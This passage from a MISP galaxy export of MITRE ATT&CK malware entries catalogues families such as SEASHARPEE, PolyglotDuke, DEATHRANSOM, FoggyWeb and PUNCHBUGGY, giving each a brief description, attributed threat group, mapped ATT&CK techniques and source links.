- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5448. Table References

Links
https://attack.mitre.org/software/S0517
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/

SEASHARPEE - S0185

[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)

The tag is: *misp-galaxy:mitre-malware="SEASHARPEE - S0185"*

SEASHARPEE - S0185 is also known as:

- SEASHARPEE

View relationships graph

SEASHARPEE - S0185 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5449. Table References

Links
https://attack.mitre.org/software/S0185
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east

PHOREAL - S0158

[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="PHOREAL - S0158"*

PHOREAL - S0158 is also known as:

- PHOREAL

View relationships graph

PHOREAL - S0158 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5450. Table References

Links
https://attack.mitre.org/software/S0158
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

PolyglotDuke - S0518

[PolyglotDuke](https://attack.mitre.org/software/S0518) is a downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2013. [PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="PolyglotDuke - S0518"*

PolyglotDuke - S0518 is also known as:

- PolyglotDuke

View relationships graph

PolyglotDuke - S0518 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5451. Table References

Links
https://attack.mitre.org/software/S0518
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

SNUGRIDE - S0159

[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware="SNUGRIDE - S0159"*

SNUGRIDE - S0159 is also known as:

- SNUGRIDE

View relationships graph

SNUGRIDE - S0159 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-

language:likelihood-probability="almost-certain"

- similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5452. Table References

Links
https://attack.mitre.org/software/S0159
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

DEATHRANSOM - S0616

[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)

The tag is: *misp-galaxy:mitre-malware="DEATHRANSOM - S0616"*

DEATHRANSOM - S0616 is also known as:

- DEATHRANSOM

View relationships graph

DEATHRANSOM - S0616 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5453. Table References

Links
https://attack.mitre.org/software/S0616
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

RemoteCMD - S0166

[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-malware="RemoteCMD - S0166"*

RemoteCMD - S0166 is also known as:

- RemoteCMD

View relationships graph

RemoteCMD - S0166 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5454. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/software/S0166

FoggyWeb - S0661

[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/

G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)

The tag is: *misp-galaxy:mitre-malware="FoggyWeb - S0661"*

FoggyWeb - S0661 is also known as:

- FoggyWeb

View relationships graph

FoggyWeb - S0661 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5455. Table References

Links
https://attack.mitre.org/software/S0661
https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/

HELLOKITTY - S0617

[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)

The tag is: *misp-galaxy:mitre-malware="HELLOKITTY - S0617"*

HELLOKITTY - S0617 is also known as:

- HELLOKITTY

View relationships graph

HELLOKITTY - S0617 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5456. Table References

Links
https://attack.mitre.org/software/S0617
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

Matryoshka - S0167

[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: *misp-galaxy:mitre-malware="Matryoshka - S0167"*

Matryoshka - S0167 is also known as:

- Matryoshka

View relationships graph

Matryoshka - S0167 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5457. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/software/S0167
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

Tomiris - S0671

[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)

The tag is: *misp-galaxy:mitre-malware="Tomiris - S0671"*

Tomiris - S0671 is also known as:

- Tomiris

View relationships graph

Tomiris - S0671 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5458. Table References

Links
https://attack.mitre.org/software/S0671
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/

Wingbird - S0176

[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)

The tag is: *misp-galaxy:mitre-malware="Wingbird - S0176"*

Wingbird - S0176 is also known as:

- Wingbird

View relationships graph

Wingbird - S0176 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5459. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/software/S0176
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha

FIVEHANDS - S0618

[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)

The tag is: *misp-galaxy:mitre-malware="FIVEHANDS - S0618"*

FIVEHANDS - S0618 is also known as:

- FIVEHANDS

View relationships graph

FIVEHANDS - S0618 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-

language:likelihood-probability="almost-certain"

Table 5460. Table References

Links
https://attack.mitre.org/software/S0618
https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

DownPaper - S0186

[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: *misp-galaxy:mitre-malware="DownPaper - S0186"*

DownPaper - S0186 is also known as:

- DownPaper

View relationships graph

DownPaper - S0186 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="DownPaper" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5461. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf

https://attack.mitre.org/software/S0186

Gazer - S0168

[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-malware="Gazer - S0168"*

Gazer - S0168 is also known as:

- Gazer
- WhiteBear

View relationships graph

Gazer - S0168 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Gazer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5462. Table References

Links
https://attack.mitre.org/software/S0168
https://securelist.com/introducing-whitebear/81638/
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Lizar - S0681

[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Lizar - S0681"*

Lizar - S0681 is also known as:

- Lizar
- Tirion

View relationships graph

Lizar - S0681 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5463. Table References

Links

https://attack.mitre.org/software/S0681
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
https://geminiadvisory.io/fin7-ransomware-bastion-secure/
https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/

PUNCHBUGGY - S0196

[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: *misp-galaxy:mitre-malware="PUNCHBUGGY - S0196"*

PUNCHBUGGY - S0196 is also known as:

- PUNCHBUGGY
- ShellTea

View relationships graph

PUNCHBUGGY - S0196 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

